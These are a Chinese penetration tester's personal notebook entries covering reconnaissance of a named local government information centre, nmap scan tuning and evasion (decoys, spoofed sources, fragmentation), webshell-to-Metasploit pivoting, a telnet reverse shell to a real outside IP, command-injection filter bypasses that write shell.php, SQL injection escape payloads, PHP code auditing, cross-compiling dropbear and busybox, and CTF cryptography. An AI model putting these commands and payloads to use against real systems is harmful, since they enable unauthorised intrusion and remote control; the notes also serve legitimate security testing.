所有近文。包含未完成未深入未放弃的议题。
MisC.
防重放的burp插件
反序列化代码注入MSF上线
Get Shell 43式
*后渗透初期信息收集
全局查找密码
find ./ -type f | xargs grep -i "PASSWORD"
查找可读文件
find / -perm -646 2>/dev/null
find . -name “*.apk” |xargs -I % cp % ../apk
互联网资产搜集
上集
手工收集关键字
企业信息查询工具
企查查、天眼查、启信宝,确认企业全称。并获得一些官网域名。
https://www.tianyancha.com/search?key=江门市信息中心 https://www.qcc.com/web/search?key=江门市信息中心 https://www.qixin.com/search?key=江门市信息中心
被动搜集
备案号查询接口,按照域名、单位名称进行搜索,递归几次。收集更多域名。
https://www.icplist.com/icp/info/江门市信息中心 https://icp.chinaz.com/home/info?host=jiangmen.cn https://www.icplist.com/ga/info/jiangmen.cn https://www.icplist.com/ga/info/江门市信息中心
官方互联网安全管理服务平台
http://www.beian.gov.cn/portal/recordQuery
主动搜集
互联网资产:网站WEB、接口API、小程序、公众号、移动应用、PC应用
信息暴露面:源代码仓库、员工信息联系方式、内部文档手册
信息暴露来源:百度等文库、官网、github、gitlab、公网代码仓库、CSDN
以下方式查找并记录网站URL
搜索引擎搜网站
微信查找小程序、公众号链接
下载APP
安装系统根证书,proxifier代理到burpsuite
二次提取
IP
互联网出口探测
一般大企业或地方,有三家运营商出口。收集得到三个IP/段。
- fofa,搜索域名,指定城市
"jiangmen.cn" && city=="Jiangmen"
- censys,搜索域名
https://search.censys.io/search?resource=hosts&sort=RELEVANCE&virtual_hosts=EXCLUDE&q=jiangmen.cn
域名
根域名
子域名爆破,工具oneforall
port range medium
api 尽量注册填多一点
IP端口扫描,工具goby
端口范围 default goby port
速率300
nohub nmap -v -n -Pn -sT -sV --max-rtt-timeout 200ms --max-retries 1 -p- -iL target.txt -oX nmap_scan_result.xml >nmap_scan_result.txt 2>&1 &
端口服务探测
1)fofa 对域名A记录 搜索,从结果快速筛选少见的端口组A
./ehole fofaext -l ip.txt -o result.xlsx
2)域名+『端口端口组A+常用端口组B』
AlliN工具
python3 AlliN.py -p 80-89,442-443,1080,1214,5000-5011,5050,5555,5222,5443,5900,5938,5984,6000-6010,6443,6600,6666,7000-7010,7070-7080,7443,8000-8010,8080-8090,8222,8443,8545,8686,8888,9000-9100,9080,9180,9200,9418,9443,9444,9527,9999,10000,11115,10880,18080,12043,12046,12443,16225,16080,18264,18091,18092,20000,20720,24465,28017,28080,30821,43110,61600 -f domains.txt --project domains
附录
常用的WEB端口服务
80-89,442-443,1080,1214,5000-5011,5050,5555,5222,5443,5900,5938,5984,6000-6010,6443,6600,6666,7000-7010,7070-7080,7443,8000-8010,8080-8090,8222,8443,8545,8686,8888,9000-9100,9080,9180,9200,9418,9443,9444,9527,9999,10000,11115,10880,18080,12043,12046,12443,16225,16080,18264,18091,18092,20000,20720,24465,28017,28080,30821,43110,61600
goby默认端口
7,11,13,15,17,19,20,21,22,23,25,26,30,31,32,36,37,38,43,49,51,53,67,70,79,80,81,82,83,84,85,86,87,88,89,98,102,104,110,111,113,119,121,135,138,139,143,175,179,199,211,264,280,311,389,443,444,445,449,465,500,502,503,505,512,515,540,548,554,564,587,620,631,636,646,666,771,777,789,800,801,808,873,876,880,888,898,900,901,902,990,992,993,994,995,999,1000,1010,1022,1023,1024,1025,1026,1027,1042,1080,1099,1177,1194,1200,1201,1212,1214,1234,1241,1248,1260,1290,1302,1311,1314,1344,1400,1433,1443,1471,1494,1503,1505,1515,1521,1554,1588,1610,1720,1723,1741,1777,1830,1863,1880,1883,1901,1911,1935,1947,1962,1967,1991,2000,2001,2002,2010,2020,2022,2030,2049,2051,2052,2053,2055,2064,2077,2080,2082,2083,2086,2087,2095,2096,2121,2154,2160,2181,2222,2223,2252,2306,2323,2332,2375,2376,2379,2396,2401,2404,2406,2424,2443,2455,2480,2501,2525,2600,2601,2604,2628,2715,2809,2869,3000,3001,3002,3005,3050,3052,3075,3097,3128,3260,3280,3288,3299,3306,3307,3310,3311,3312,3333,3337,3352,3372,3388,3389,3390,3443,3460,3520,3522,3523,3524,3525,3528,3531,3541,3542,3567,3689,3690,3749,3780,3790,4000,4022,4040,4063,4064,4155,4200,4300,4369,4430,4433,4440,4443,4444,4505,4506,4567,4660,4664,4711,4712,4730,4782,4786,4840,4842,4848,4880,4911,4949,5000,5001,5002,5003,5004,5005,5006,5007,5008,5009,5010,5038,5050,5051,5060,5061,5080,5084,5111,5222,5258,5269,5280,5357,5400,5427,5432,5443,5550,5555,5560,5577,5598,5631,5672,5678,5800,5801,5802,5820,5900,5901,5902,5903,5938,5984,5985,5986,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6060,6068,6080,6082,6103,6346,6363,6379,6443,6488,6544,6560,6565,6581,6588,6590,6600,6664,6665,6666,6667,6668,6669,6697,6699,6780,6782,6868,6998,7000,7001,7002,7003,7004,7005,7007,7010,7014,7070,7071,7077,7080,7100,7144,7145,7170,7171,7180,7187,7199,7272,7288,7401,7402,7443,7474,7479,7493,7500,7537,7547,7548,7634,7657,7676,7776,7777,7778,7779,7780,7788,7911,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8020,8025,8030,8032,8040,8058,8060,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8111,8112,8118,8123,8125,8126,8129,8138,8139,8140,8159,8161,8181,8182,8194,8200,8222,8291,8332,8333,8334,8351,8377,8378,8388,8443,8444,8480,8500,8529,8545,8546,8554,8567,8649,8686,8688,8765,8800,8834,8880,8881,8882,8883,8884,8885,8886,8887,8888,8889,8890,8899,8983,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008,9009,9010,9030,9042,9050,9051,9080,9083,9090,9091,9100,9151,9191,9200,9229,9292,9295,9300,9306,9333,9334,9418,9443,9444,9446,9527,9530,9595,9653,9668,9700,9711,9801,9864,9869,9870,9876,9943,9944,9981,9997,9999,10000,10001,10003,10005,10030,10035,10162,10243,10250,10255,10332,10333,10443,10554,11001,11211,11300,11310,11371,11965,12000,12300,12345,12999,13579,13666,13720,13722,14000,14147,14265,14443,14534,15000,16000,16010,16030,16922,16923,16992,16993,17000,17988,18000,18001,18080,18081,18086,18245,18246,18264,19150,19888,19999,20000,20005,20332,20547,20880,22105,22222,22335,23023,23424,25000,25010,25105,25565,26214,26470,27015,27016,27017,28017,28080,29876,29999,30001,30005,31337,32400,32770,32771,32773,33338,33890,34567,34599,37215,37777,40000,40001,41795,42873,44158,44818,45554,49151,49152,49153,49154,49155,49156,49157,49158,49159,49664,49665,49666,49667,49668,49669,49670,49671,49672,49673,49674,50000,50050,50060,50070,50075,50090,50100,50111,51106,52869,55442,55553,55555,60001,60010,60030,60443,61613,61616,62078,64738
下集
用户给出域名、IP,怎么好一点、快点、别花太多手工的整理资产表。
虽然名为暴露面梳理。
goby想过,但是要长挂着不好,而且展示、导出也太局限了。
思路还是很零落,一步一步凑,原始笨笨。
Nmap调优
Nmap的Manual粗略看看,有收获的,人家零几年的文章经典流传。
我调了几次的配置,最小IP分组,150。开T4档扫,T5太夸张,T3略平淡。
最小扫描进程10,官方不推荐过大。
我全端口,有时间就是这样。不考虑存活,直接扫,-Pn。
输出XML格式,方便数据处理。
nohup nmap --randomize-hosts --min-hostgroup 150 -T4 --min-parallelism 2 -p- -v -n -Pn -oX scanc.xml -iL IPs.txt & #2C4G8M VPS nohup nmap -v -n -Pn -p- -sV --randomize-hosts --max-rtt-timeout 100ms --host-timeout 7200000ms --min-hostgroup 70 -T 3 --max-retries 1 -iL target.txt -oX nmap_scan_result_`date +"%Y-%m-%d_%H-%M-%S"`.xml >nmap_scan_result.txt 2>&1 & nmap -v -n -Pn -p- -sV --randomize-hosts --max-rtt-timeout 100ms --host-timeout 7200000ms --min-hostgroup 50 -T 3 --max-retries 1 -iL target.txt -oX nmap_scan_result_`date +"%Y-%m-%d_%H-%M-%S"`.xml #低线程保护业务nmap扫描 nmap -v -n -Pn -sT -sV --scan-delay 1s --max-parallelism 10 --max-rtt-timeout 200ms --max-retries 1 -p 21,22,23,25,80,389,111,161,443,445,1433,2375,1521,3306,2181,3389,5432,5433,6131,6379,27017,9200,8161,7001-7010,5900-5905,8000-8080,9999,11211,50107,10051,10050 -iL target.txt -oX nmap_scan_result.xml >nmap_scan_result.txt
参考:不一定适用。
工具| 诸神之眼nmap定制化之并发处理 - 云+社区 - 腾讯云 (tencent.com)
Nmap Network Scanning—The Official Nmap Project Guide to Network Discovery and Security Scanning
Nmap整理
NMAP扫出来的东西可以整理一下,例如端口数据转URL,见下方代码功能一。
NMAP也可以扫端口指纹,上面的命令没加上,-sV。
目标防火墙可能导致误报端口全开,如果Nmap根据这个去探测指纹,就天长地久了。(Nmap可能有扫出过多端口丢弃的选项),目前我想到是,用筛出来的出现过的端口,再扫一遍,指纹。
nmap -p 【端口1,2,...】-sV -Pn -iL IPs.txt -oX scanbanner.xml
NMAP处理小脚本:
#!/bin/python3 # -*- coding: UTF-8 -*- from xml.dom.minidom import parse import xml.dom.minidom #nmap -p- -v 112.94.67.115 -oX scanb.xml def load_nmap_xml(): # 使用minidom解析器打开 XML 文档 DOMTree = xml.dom.minidom.parse("scanb.xml") if DOMTree.getElementsByTagName("host"): hosts = DOMTree.getElementsByTagName("host") host_list = list() for host in hosts: address = host.getElementsByTagName("address")[0].getAttribute("addr") # print(address) ports = host.getElementsByTagName("port") port_list = list() for port in ports: if("open" == port.getElementsByTagName('state')[0].getAttribute("state")): port_value = port.getAttribute("portid") # print(port_value) port_list.append(port_value) if(port_list): host_list.append({"ip":address, "port_list":port_list}) # print(host_list) return host_list #功能一:拼接IP+端口,组成URL port_checklist = ("22","139","53","111","ssh","135","445","samba","mysql","3306","1521","3389","21") host_list = load_nmap_xml() for host in host_list: for port in host["port_list"]: if(port in port_checklist): continue url = "http://%s:%s" %(host["ip"],port) # url = "http://"+str(host["ip"])+":"+str(port) print(url) #功能二:打印所有曾出现的端口 # port_set = set() # for host in host_list: # #单主机有多于25个端口的丢弃 # if(len(host["port_list"])>35): # continue # for port in host["port_list"]: # port_set.add(port) # print(','.join(port_set))
公众号/小程序/APP
搜索用户的关键字找公众号、小程序。
拿着burp或者fiddler,看抓到的URL。
又是手工。哎。
批量域名+端口的HTTP/S请求
关注WEB资产,批量,要求返回要素信息,例如标题、响应码、指纹。
有时候出口网关(负载均衡之类的),根据域名、端口再转发内网,那对域名+端口进行暴发户请求就有必要了,老朋友httpx。
特别是只有域名的情况。
httpx的csv格式输出,会有比较齐全的信息列。
nohup ./httpx -l urls.txt -p 【端口1,端口2,...】 -sc -fr -title -td -silent -nf -t 100 -o urls.csv -csv &
参考goby的默认端口,删走了几个明显的非WEB端口。
80,81,82,83,84,85,86,87,88,89,98,443,444,512,515,540,548,554,564,587,620,631,636,646,666,771,777,789,800,801,808,873,876,880,888,898,900,901,902,990,992,993,994,995,999,1000,1010,1022,1023,1024,1025,1026,1027,1042,1080,1099,1177,1194,1200,1201,1212,1214,1234,1241,1248,1260,1290,1302,1311,1314,1344,1400,1443,1471,1494,1503,1505,1515,1554,1588,1610,1720,1723,1741,1777,1830,1863,1880,1883,1901,1911,1935,1947,1962,1967,1991,2000,2001,2002,2010,2020,2022,2030,2049,2051,2052,2053,2055,2064,2077,2080,2082,2083,2086,2087,2095,2096,2121,2154,2160,2181,2222,2223,2252,2306,2323,2332,2375,2376,2379,2396,2401,2404,2406,2424,2443,2455,2480,2501,2525,2600,2601,2604,2628,2715,2809,2869,3000,3001,3002,3005,3050,3052,3075,3097,3128,3260,3280,3288,3299,3307,3310,3311,3312,3333,3337,3352,3372,3388,3389,3390,3443,3460,3520,3522,3523,3524,3525,3528,3531,3541,3542,3689,3690,3749,3780,3790,4000,4022,4040,4063,4064,4155,4300,4369,4430,4433,4440,4443,4444,4505,4506,4567,4660,4664,4711,4712,4730,4782,4786,4840,4842,4848,4880,4911,4949,5000,5001,5002,5003,5004,5005,5006,5007,5008,5009,5010,5038,5050,5051,5061,5080,5084,5111,5222,5258,5269,5280,5357,5400,5427,5432,5443,5550,5555,5560,5577,5598,5631,5672,5678,5800,5801,5802,5820,5900,5901,5902,5903,5938,5984,5985,5986,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6060,6068,6080,6082,6103,6346,6363,6379,6443,6488,6544,6560,6565,6581,6588,6590,6600,6664,6665,6666,6667,6668,6669,6697,6699,6780,6782,6998,7000,7001,7002,7003,7004,7005,7007,7010,7014,7070,7071,7077,7080,7100,7144,7145,7170,7171,7180,7187,7199,7272,7288,7401,7402,7443,7474,7479,7493,7537,7547,7548,7634,7657,7676,7776,7777,7778,7779,7780,7788,7911,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8020,8025,8030,8040,8058,8060,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8111,8112,8118,8123,8125,8126,8129,8138,8139,8140,8159,8161,8181,8182,8194,8200,8222,8291,8332,8333,8334,8351,8377,8378,8388,8443,8444,8480,8500,8529,8545,8546,8554,8649,8686,8765,8800,8834,8880,8881,8882,8883,8884,8885,8886,8887,8888,8889,8890,8899,8983,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008,9009,9010,9030,9042,9050,9051,9080,9083,9090,9091,9100,9151,9191,9200,9292,9295,9300,9306,9333,9334,9418,9443,9444,9446,9527,9530,9595,9653,9668,9700,9711,9801,9864,9869,9870,9876,9943,9944,9981,9997,9999,10000,10001,10003,10005,10030,10035,10162,10243,10250,10255,10332,10333,10443,10554,11001,11211,11300,11310,11371,11965,12000,12300,12345,12999,13579,13666,13720,13722,14000,14147,14265,14443,14534,15000,16000,16010,16030,16922,16923,16992,16993,17000,17988,18000,18001,18080,18081,18086,18245,18246,18264,19150,19888,19999,20000,20332,20547,20880,22105,22222,22335,23023,23424,25000,25010,25105,25565,26214,26470,27015,27016,27017,28017,28080,29876,29999,30001,31337,32400,32770,32771,32773,33338,33890,34567,34599,37215,37777,40000,40001,41795,42873,44158,44818,45554,49151,49152,49153,49154,49155,50000,50050,50060,50070,50075,50090,50100,50111,51106,52869,55442,55553,55555,60001,60010,60030,60443,61613,61616,62078,64738
网页指纹whatweb
之前某大佬整理出巨量whatweb指纹库,收藏一直没用,现在可以一试。
whatweb不用开-a4扫全指纹,请求太多了。默认策略得了。
httpx的是参考wappalyzer的数据做指纹,有时候也不太准确,再次抽取确定的URL,用whatweb跑一遍。
nohup ./whatweb -i host.txt --log-json=urls.json --no-errors -t 150 & ruby whatweb.rb -a 4 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" -t 200 -v --open-timeout 5 --read-timeout 5 -i url1.txt --log-json url1.json
另一款tideFinger工具没试。
后续
回头看,可以多走走网络资产搜索引擎。fofa、hunter。
还有些结合fofa的搜集工具。没用上。
按道理,可以更快省力的找到关键敏感资产。
红队攻防信息收集向的Ehole、Glass、百度企查查ENscan、小程序APP逆向自动出资产的AppInfoScanner、不用说的fofaviewer
下次一定。
还有就是输出效果的问题,还是只做到Excel一张表的效果。
应该设计些展示花哨的图表,划分资产类型,应用类型筛选等等。
goby可能有指导作用,但是还没玩明白它的资产展示窗口。
冰蝎不出网上线MSF
1、云主机VPS(IP为A),MSF按照冰蝎提示配置监听端口B
2、攻击机(IP为C)的冰蝎管理器,DMZ反向映射,配置IP:A,端口B,开启端口隧道
3、反弹shell窗口,填写IP:127.0.0.1,端口:B,点击给我弹即可。
此时,冰蝎管理器就会建立与内网机器的连接,然后冰蝎管理器再往VPS连接,云主机VPS可以看到IP:C向VPS上线的提示。相当与冰蝎管理器做为中转站。
Java逆向工具
jd-gui-1.6.6.jar
cfr-0.152.jar
反编译
apktool d -p <上述的framework的安装目录> -o <输出目录> xxx.apk
d2j-dex2jar.bat classes.dex
双击运行 jd-gui.exe 文件,将jar文件拖到工作区即可打开 Review.xmind 。
adb日志导出
adb logcat > logcat.log
查看apk最低SDK
C:\Users\Jyufu\android-sdks\build-tools\28.0.3>aapt list -a android.elife_6.1.26_1589528958639.apk | find "SdkVersion"
gradlew 代理 阿里云镜像
init.gradlew
Nmap扫盲
常规
nmap -sS -v -p- -sV -n 1.1.1.1
扫描文件中的目标
nmap -iL target.txt
不扫描端口
nmap -sn 192.168.1.1
输出
nmap 192.168.1.1 -oN test.txt 标准输出写入到指定文件中nmap 192.168.1.1 -oX test.xml 将输入写成xml的形式
报文分段,请求的扫描(包括ping扫描)使用微小的碎片IP数据包, 包过滤器检测更难
nmap 192.168.1.1 -f
利用数据包分片技术,某些防火墙为了加快处理速度而不会进行重组处理,这样从而逃脱防火墙或闯入检测系统的检测,注意:mtu的值必须是8的倍数(如8,16,24,32等)
nmap 192.168.1.1 --mtu 32
使用-D选项就可以达到IP欺骗的目的,可以指定多个IP或者使用RND随机生成几个IP地址
nmap -D 10.1.1.1,20.2.2.2 192.168.1.1nmap -D RND:11 192.168.1.1
源地址欺骗,从Microso扫描Facebook
nmap -S www.microso.com www.facebook.com
指定源主机端口,来手动设定用来扫描的端口,常用的如20、53、67端口
nmap -g 53 192.168.1.1
通过HTTP/SOCKS4代理中继连接
nmap --proxies http://191.1.1.1:1080,http://192.2.2.2:1080 192.168.1.1
添加垃圾数据,通过在发送的数据包末尾添加随机的垃圾数据,以达到混淆视听的作效果,200是垃圾数据长度
nmap --data-length 200 192.168.1.1
PHP代码审计
把握大局
网站结构
源码文件夹了解程序大致目录
入口文件
index.php admin.php 一般是整个程序的入口详细读一下index文件可以知道程序的架构、运行流程、包含哪些配置文件,包含哪些过滤文件以及包含哪些安全过滤文件,了解程序的业务逻辑。
配置文件
类似config.php 等文件,保存一些数据库相关信息、程序的一些信息。
先看看数据库编码,如果是gbk则可能存在宽字节注入。
如果变量值用双引号、则可能存在双引号解析代码执行的问题。
过滤功能
通过详细都公共函数文件 和 安全过滤文件等文件,清晰掌握用户输入的数据,哪些被过滤,哪些无过滤,在哪里被过滤了,如何过滤的,能否绕过过滤后的数据。过滤的方式是替换还是正则?有没有GPC?有没有使用addslashes()处理?
审计方法
通读全文法
把握大局
最麻烦最全面
敏感函数/参数回溯法
大多数漏洞是函数使用不当产生,找到使用不当的函数,就可以快速挖掘想要的漏洞
Seay法师大大的Seay源代码审计系统,利用正则匹配一些高危函数、关键函数以及敏感关键字。
快速定位,上下文追踪。
定向功能分析法
浏览器逐个访问浏览,看看这套程序有哪些功能。根据相关功能,大概推测相关漏洞。
常见的功能漏洞
程序初始化安装
站点信息泄露
文件上传
文件管理
登录认证
数据库备份恢复
找回密码
归纳
首先,把握大局
其次,根据定向功能法针对每一项功能进行审计
最后,敏感函数参数回溯。
环境安装
技巧
显示所有错误
error_reporting(E_ALL);
基本工具
Notepad++
sublime text3
- packagecontrol
control shift p
-> pcip -> 安装插件
- ctags phpfmt convertToUTF8 alignment
phpstorm 一个php的IDE
Seay源码审计系统
Xdebug
开放源代码的PHP程序调试器,在php5-7各版本皆有支持插件。
php.ini配置Xdebug
技巧
->
语句/函数
>=>
运行结果将xt后缀添加到notepad++的php类型,文件开头添加php标记
<?php
,实现语法高亮。应用场景:
密文php代码,Xdebug调试工具排上用场。
php加密,代码加密/混淆
好处:绕狗
缺点:加载时间长
数据库监控工具 Seay的监控mysql功能
RIPS php代码审计工具
书籍
代码审计-企业级web代码安全架构
初始化安装漏洞
漏洞
无验证功能,任意重装覆盖
$_GET[‘step’]跳过限制步骤
变量覆盖导致重装
判断lock后跳转无exit
利用报错不退出绕过检测:PHPMyWind CMS产品 任意密码重置漏洞研究分析
继续利用可控变量,传参,写数据库、写文件等。
解析install.php.bak漏洞
其它特定功能绕过
修补方案
自动删除安装文件、加lock限制。
命令执行
system,exec,shell_exec,`` ,passthru
php eval,assert,preg_replace(’/*/e’,’$ret="\1";’,$data)
asp eval,excute,excuteglobal
jsp 反射机制的表达式引擎 0GNL Spel MVEL
popen
proc_open
pcntl_exec
XSS
存储+输出的过程
常见函数 print,print_r,echo,printf,sprintf,die,var_dump,var_export
SQL
双条件查询
sqlwaf多数屏蔽单引号,借助二次注入,利用程序自带的两对单引号
双条件查询或带两对单引号的sql语句,转义第二个单引号
select username,password from users where username='$username' and password='$password' limit 0,1
admin\
逃出select username,password from users where username='admin\' and password='$password' limit 0,1
'admin\' and password='
变量覆盖
//更新头像信息 $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";
构造avatar文件名,意图读取
'../sys/config.php'
文件。a.jpg',user_avatar = '../sys/config.php' WHERE user_name ='user1' #.jpg
得到如下语句:
注意,文件名带
/
符号会被截断,所以用ascii hex编码传入UPDATE users SET user_avatar = 'a.jpg',user_avatar = 0x2e2e2f7379732f6c69622e706870 WHERE user_name ='user1' #.jpg' WHERE user_id = '{$_SESSION['user_id']}'
Linux版本
版本
cat /proc/version
lsb_release
cat /etc/lsb_release
uname -a
数据库安全
数据库攻防工具
ODAT (Oracle Database Attacking Tool)
MSDAT(MsSQL Database Attacking Tool)
metasploit(Mysql\Oracle\MsSQL)
exploit-db
searchsploit -t oracle windows
MsSQL禁用xp-cmdshell
Oracle Public危险包 UTL_FILE UTL_HTTP
MySQL load_file select intofile
捣蛋CS
Telnet反弹Shell
nc -lvvp 4444
nc -lvvp 5555
telnet 120.48.147.236 4444 | /bin/bash | telnet 120.48.147.236 5555
*攻防资产梳理脚本向
域名方向
[‘domain’,‘ip’,‘cdn’,‘cname’.‘asn’]
获取资产(Todo:cert,icon_hash,icp,APP&小程序&公众号)
IP域名分离
python3 extract_ip_domain_sub.py
提取子域名
sudo subfinder -dL subdomain.txt -nW -silent -oI domain-more1.txt sudo ksubdomain -dl subdomain.txt -skip-wild -o domain-more2.txt
+固有IP
+子域名=> subfinder -d baidu.com -silent|sudo ksubdomain -verify -silent |httpx -title -content-length -status-code
={‘ip’:{},‘domain’:{}}
CDN识别
+真实IP
={rip,[domain]}
端口发现
–Glass 识别Banner 域名需转换IP调用FoFa/shodan API
–Whatweb/Ehole
={ip,[domain],port,url,banner,tittle}
漏洞扫描
<{url}
fspider
pocsuite
xray
WAF探测
小脚本
分离IP与域名
定期监控资产存活
交叉编译环境部署
toolchain
Arm64
wget https://mirrors.tuna.tsinghua.edu.cn/armbian-releases/_toolchain/gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu.tar.xz xz -d gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu.tar.xz sudo mkdir -p /usr/local/toolchain sudo tar xvf gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu.tar -C /usr/local/toolchain/ PATH=$PATH:/usr/local/toolchain/gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu/bin/ export ARCH=arm64 export CROSS_COMPILE=aarch64-linux-gnu-
Android NDK
wget https://dl.google.com/android/repository/android-ndk-r15c-linux-x86_64.zip sudo mdkir /usr/local/toolchain sudo unzip android-ndk-r15c-linux-x86_64.zip -d /usr/local/toolchain PATH=$PATH:/usr/local/toolchain/android-ndk-r15c/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin export ARCH=arm64 export CROSS_COMPILE=aarch64-linux-android- export SYSROOT=/usr/local/toolchain/android-ndk-r16b/platforms/android-27/arch-arm64 export LD_LIBRARY_PATH=${SYSROOT}/usr/lib/:${SYSROOT}/usr/lib64 export TARGET_HOST="aarch64-linux-android" export CFLAGS="-DANDROID -D__ANDROID__ -DSK_RELEASE -D__POSIX_VISIBLE=199209 -D__BSD_VISIBLE -fPIC -I${SYSROOT}/usr/include/${TARGET_HOST} -I${SYSROOT}/usr/include" export LDFLAGS="-L${SYSROOT}/usr/lib -L${SYSROOT}/usr/lib64 -static --sysroot=${SYSROOT}"
Android NDK on macOS
brew install arm-linux-gnueabihf-binutils PATH=$PATH:/opt/homebrew/Cellar/arm-linux-gnueabihf-binutils/2.40/bin export ARCH=arm export CROSS_COMPILE=arm-linux-gnueabihf- export CC=clang
Android NDK on macOS
wget https://dl.google.com/android/repository/android-ndk-r15c-darwin-x86_64.zip sudo mkdir /opt/toolchain sudo unzip android-ndk-r15c-darwin-x86_64.zip -d /opt/toolchain/ export NDK=/opt/toolchain/android-ndk-r15c
dropbear
./configure --host=aarch64-linux-android --disable-syslog --disable-zlib --enable-static --disable-lastlog --disable-utmp ./configure --host=aarch64-linux-gnu --disable-syslog --disable-zlib --enable-static make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" MULTI=1 -j 4 upx -9 dropbearmulti
busybox
make defconfig #sudo apt install libselinux-dev libsepol-dev #make allyesconfig sudo apt install libncurses-dev make menuconfig #启用静态链接 #导航到Busybox Library Tuning 菜单,并选择 "Build BusyBox as a static binary (no shared libs)" 选项 make CONFIG_STATIC=y #检查 file busybox ldd busybox upx -9 busybox
tcpdump
参考资料
https://github.com/android/ndk/wiki/Unsupported-Downloads
https://github.com/extremecoders-re/tcpdump-android-builds/tree/master
https://github.com/meefik/busybox
https://github.com/ribbons/android-dropbear
[一次搞定 Arm Linux 交叉编译](
代码审计开源组件扫描
1、墨菲安全
2、Eclipse Steady (Incubator Project)
CTF密码学
HEX
flag='glad' #python2 flag.encode('hex') int(flag.encode('hex'),16) #python3 f = flag.encode('utf-8')
栅栏密码
一般比较常见的是2栏的栅栏密码。 比如明文:THEREISACIPHER 两个一组,得到:TH ER EI SA CI PH ER 先取出第一个字母:TEESCPE 再取出第二个字母:HRIAIHR 连在一起得到密文:TEESCPEHRIAIHR
而解密的时候, 我们先把密文从中间分开, 变为两行: T E E S C P E H R I A I H R 再按上下上下的顺序组合起来: 得到明文:THEREISACIPHER
ROT
ROT5:只对数字进行编码 ROT13:只对字母进行编码 ROT18:这是一个异类,将ROT5和ROT13组合 ROT47:对数字、字母、常用符号进行编码
Brainfuck/OoK
https://www.splitbrain.org/services/ook
维基利亚密码
凯撒密码字母表,明文对应横坐标,密钥对应纵坐标
棋盘密码
https://www.qqxiuzi.cn/bianma/qipanmima.php
散列算法
MD5
SHA-1 256 512
对称加密
DES(128不安全)
Key、Data、Mode。 Key为8个字节共64位,是DES算法的工作密钥; Data也为8个字节64位,是要被加密或被解密的数据; Mode为DES的工作方式,有两种:加密或解密。
https://the-x.cn/cryptography/Aes.aspx http://tool.chacuo.net/cryptaes
填充方式padding
分组密码机制
ECB 重复排列,没有IV向量
CBC
CFB
OFB
CTR
AES
from Crypto.Cipher import AES m="flag{aes_666666}" key="1234567890abcdef" iv="fedcba0987654321" cipher =AES.new(key, AES.MODE_CBC, iv) c=cipher.encrypt(m) print c.encode("hex") cipher=AES.new(key, AES.MODE_CBC, iv) m=cipher.decrypt(c) print m
RSA
因数分解
公钥私钥
大整数N,p和q为N的因子
e和d,互为模反数的两个指数
c和m,密文和明文
穷举攻击
c和n很大,e很小情况下,可以解出m
c=m^e mod n
c+k*n=m^e
共模攻击
e1、e2互质,n不变,可以无需知道模反数d,解出明文
维纳攻击
e很大,利用算法,推断d的值
RSA-Coppersmith定理
已知N和p的高位,可恢复出p
sage脚本:https://sagecell.sagemath.org
命令注入特殊环境绕过
无管道符情况下
1、nohup
nohup cat '1234' cat nohup.out mv nohup.out shell.php
2、sed
#创建1字节的文件 dd if=/dev/zero of=shell.php bs=1 count=1 #替换\0字符 sed -i 's/\x0/123456/g' shell.php #或者替换第一行 sed -i '1c 123456' shell.php
参考链接:linux不用符号实现写文件
无空格情况下
bash shell:
{echo,hello,world}
busybox shell:
CMD=$'\x20a\x20b\x20c';echo$CMD
空格替换
$IFS$9 ${IFS}$1 ${IFS}
重定向
cat<>flag cat<flag
参考
前端挖掘URL
字典制作
https://wordlists-cdn.assetnote.io/
JS提取URI
curl -s https://hackerone.com/hacktivity | ./extract.rb
webpack特征
vuejs
wappalyzer
F12发现webpack://文件夹或以下代码
(window["webpackJsonp"] = window["webpackJsonp"] || []).push([["pages-party-index"], {
访问xxx.js.map
webpack逆向
关键在于找到js.map文件
# 安装 reverse-sourcemap npm install --global reverse-sourcemap # 下载 *.js.map (右键查看源代码,找到 js ,在 js 后面加上 .map) curl -O https://127.0.0.1/*.js.map # 使用 reverse-sourcemap reverse-sourcemap --output-dir ./test xxx.js.map # 得到 JS
*内存马
前置
内存马类型
1、基于动态注册的Servlet组件
2、基于动态注册框架Spring
3、基于Javaagent技术
webshell查杀
内存马查杀
参考资料
mybatis注入
-
SQL语句中的一些部分,例如order by字段、表名等,是无法使用预编译语句的。这种场景极易产生SQL注入。推荐开发在Java层面做映射,设置一个字段/表名数组,仅允许用户传入索引值。这样保证传入的字段或者表名都在白名单里面。
-
like参数注入。使用如下SQL语句可防止SQL注入
方案二:使用官方推荐的bind()函数完成参数绑定 <bind name="pattern" value="'%' + name + '%'" /> select * from Studentinfo where name like #{pattern}
方案一: like concat('%',#{title}, '%'),
-
in之后参数的SQL注入。使用如下SQL语句可防止SQL注入
id in <foreach collection="ids" item="item" open="("separator="," close=")"> #{item} </foreach>
*就地取材网络穿透
iptables重定向实现端口转发
略
Nginx端口转发
略
Powershell本地开启Socks代理
Create a Socks 4/5 proxy on port 1234:
Import-Module .\Invoke-SocksProxy.psm1 Invoke-SocksProxy -bindPort 1234
Create a simple tcp port forward:
Import-Module .\Invoke-SocksProxy.psm1 Invoke-PortFwd -bindPort 33389 -destHost 127.0.0.1 -destPort 3389
Create a “reverse” Socks 4/5 proxy on port 1080 of a remote host:
